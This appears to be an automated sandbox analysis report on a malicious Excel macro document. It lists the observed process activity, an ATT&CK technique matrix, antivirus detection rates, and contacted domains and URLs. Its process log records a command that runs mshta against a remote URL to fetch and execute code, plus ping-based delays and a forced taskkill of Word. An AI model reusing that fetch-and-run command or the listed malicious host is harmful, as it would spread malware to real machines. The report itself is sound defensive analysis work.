Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Uses ping.exe to sleep

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 8 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 8 127.0.0.1			Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\taskkill.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im WINWORD.EXE

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 8 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c start /min taskkill /f /im WINWORD.EXE	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\mshta.exe mshta http://facextrade.com.br/wp-includes/certificates/4.txt	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im WINWORD.EXE	Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\SysWOW64\Macromed\Flash\activex.vch VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Windows Management Instrumentation	Path Interception	11 Process Injection	1 Masquerading	1 Input Capture	11 Remote System Discovery	Remote Services	1 Email Collection	Exfiltration Over Other Network Medium	11 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	121 Scripting	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Disable or Modify Tools	LSASS Memory	1 System Network Configuration Discovery	Remote Desktop Protocol	1 Input Capture	Exfiltration Over Bluetooth	3 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	23 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	1 Archive Collected Data	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	121 Scripting	NTDS	14 System Information Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	14 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	49%	Virustotal		Browse
SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	27%	Metadefender		Browse
SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	41%	ReversingLabs	Script-Macro.Downloader.Amphitryon
SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	100%	Avira	X97M/Agent.9944011
SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
facextrade.com.br	5%	Virustotal		Browse
storage.ie6countdown.com	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://ns.U~	0%	Avira URL Cloud	safe
http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/img/next.pnghttp://facextra	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0http://fa	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3LMEM	100%	Avira URL Cloud	malware
https://rpsticket.partnerservices.getmicrosoftkey.com	0%	URL Reputation	safe
https://facextrade.com.brtxt	0%	Avira URL Cloud	safe
http://facextrade.com.br/0_	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3Qn	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-includes/certificates/4.txtz0	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6HQN	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0t6	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0fC:	100%	Avira URL Cloud	malware
https://res.getmicrosoftkey.com/api/redemptionevents	0%	URL Reputation	safe
http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3	100%	Avira URL Cloud	malware
http://kyruus.com	0%	URL Reputation	safe
http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0x	100%	Avira URL Cloud	malware
https://facextrade.com.br/#contatosG	100%	Avira URL Cloud	malware
https://my.microsoftpersonalcontent.com	0%	URL Reputation	safe
http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.pngs	100%	Avira URL Cloud	malware
https://store.office.cn/addinstemplate	0%	URL Reputation	safe
https://facextrade.com.br/feed/	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0=LMEM	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0g	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-includes/certificates/css/style.css	100%	Avira URL Cloud	malware
https://www.odwebp.svc.ms	0%	URL Reputation	safe
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.63	100%	Avira URL Cloud	malware
https://api.addins.store.officeppe.com/addinstemplate	0%	URL Reputation	safe
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6/	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6G	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6E	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.css	100%	Avira URL Cloud	malware
https://ncus.contentsync.	0%	URL Reputation	safe
http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.png	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0fC:	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-includes/certificates/4.txtmshta	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6N	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/theme51253/main-style.cssets/css/logo-slider-wp-public.cs	100%	Avira URL Cloud	malware
https://wus2.contentsync.	0%	URL Reputation	safe
http://facextrade.com.br/wp-content/themes/Cher	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.3Z	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0L	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-includes/CherryFramework/style.css)6	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.png&c	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.3C	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-includes/certificates/4.txt#J01	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.pngbXF	100%	Avira URL Cloud	malware
http://daneden.me/animate	0%	URL Reputation	safe
https://csp.withgoogle.com/csp/apps-themestL	0%	Avira URL Cloud	safe
http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20r=4.	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
facextrade.com.br	187.45.240.69	true	true	5%, Virustotal, Browse	unknown
gstaticadssl.l.google.com	172.217.16.195	true	false		high
netdna.bootstrapcdn.com	104.18.10.207	true	false		high
www3.l.google.com	142.250.181.238	true	false		high
storage.ie6countdown.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
translate.google.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.css	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.png	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://geo0.ggpht.com/cT16	mshta.exe, 0000000A.00000002.511747640.0000000006234000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ns.U~	mshta.exe, 0000000A.00000002.523747245.000000000C6B7000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/img/next.pnghttp://facextra	mshta.exe, 0000000A.00000003.363657812.0000000007B12000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.363868686.0000000007B16000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.363508225.0000000007B10000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.520635761.0000000007B17000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.363710782.0000000007B14000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0http://fa	mshta.exe, 0000000A.00000002.513911219.0000000006B83000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr	D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	false		high
http://g.co/dev/maps-no-account	mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	false		high
https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/	D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	false		high
http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3LMEM	mshta.exe, 0000000A.00000003.350712377.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382012163.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://rpsticket.partnerservices.getmicrosoftkey.com	D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	false	URL Reputation: safe	unknown
https://facextrade.com.brtxt	mshta.exe, 0000000A.00000003.349776382.000000000C45F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://lookup.onenote.com/lookup/geolocation/v1	D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	false		high
http://netdna.bootstrapcdn.com/	mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	false		high
https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile	D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	false		high
http://facextrade.com.br/0_	mshta.exe, 0000000A.00000003.326083539.0000000007713000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.516090185.0000000007714000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3Qn	mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-includes/certificates/4.txtz0	mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy	D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	false		high
https://lh6.ggpht.com/	mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	false		high
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6HQN	mshta.exe, 0000000A.00000002.523387638.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://geo1.ggpht.com/cbkd	mshta.exe, 0000000A.00000002.511747640.0000000006234000.00000004.00000800.00020000.00000000.sdmp	false		high
https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit20P	mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.opensource.org/licenses/mit-license.php	mshta.exe, 0000000A.00000003.349480071.000000000C6B7000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.381624159.000000000C52C000.00000004.00000800.00020000.00000000.sdmp, swfobject[1].js.10.dr, camera.min[1].js.10.dr, jplayer.playlist.min[1].js.10.dr	false		high
http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0t6	mshta.exe, 0000000A.00000003.349776382.000000000C45F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://twitter.com/fontawesome.	mshta.exe, 0000000A.00000003.276621858.0000000006233000.00000004.00000800.00020000.00000000.sdmp, font-awesome[1].css.10.dr	false		high
https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies	D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	false		high
https://github.com/joeldbirch/onHoverIntentx	mshta.exe, 0000000A.00000003.354759757.000000000797A000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.518830856.000000000797B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0fC:	mshta.exe, 0000000A.00000003.350548233.000000000C493000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.349776382.000000000C45F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://translate.google.com/p	mshta.exe, 0000000A.00000003.303908827.00000000061F9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developers.google.com/maps/documentation/javascript/styling#cloud_tooling	mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.277100889.0000000006245000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.276661181.0000000006245000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.276638258.0000000006245000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	false		high
https://github.com/joeldbirch/onHoverIntent	mshta.exe, 0000000A.00000003.350548233.000000000C493000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.349776382.000000000C45F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp, superfish[1].js.10.dr	false		high
https://res.getmicrosoftkey.com/api/redemptionevents	D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	false	URL Reputation: safe	unknown
https://tasks.office.com	D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	false		high
https://support.google.com/fusiontables/answer/9185417).	mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	false		high
http://kyruus.com	mshta.exe, 0000000A.00000003.276621858.0000000006233000.00000004.00000800.00020000.00000000.sdmp, font-awesome[1].css.10.dr	false	URL Reputation: safe	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0x	mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://facextrade.com.br/#contatosG	mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://my.microsoftpersonalcontent.com	D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/maps	mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	false		high
http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.pngs	mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://store.office.cn/addinstemplate	D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	false	URL Reputation: safe	unknown
https://facextrade.com.br/feed/	mshta.exe, 0000000A.00000002.512354318.0000000006830000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0=LMEM	mshta.exe, 0000000A.00000003.350712377.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2B	mshta.exe, 0000000A.00000002.511036241.0000000006152000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	false		high
http://scripts.sil.org/OFLp	mshta.exe, 0000000A.00000003.314676367.000000000E9AB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0g	mshta.exe, 0000000A.00000003.349776382.000000000C45F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-includes/certificates/css/style.css	mshta.exe, 0000000A.00000003.304099066.000000000620C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511676393.000000000620C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347751396.000000000620C000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://www.odwebp.svc.ms	D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	false	URL Reputation: safe	unknown
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.63	mshta.exe, 0000000A.00000002.523387638.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.350712377.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382012163.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://api.addins.store.officeppe.com/addinstemplate	D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	false	URL Reputation: safe	unknown
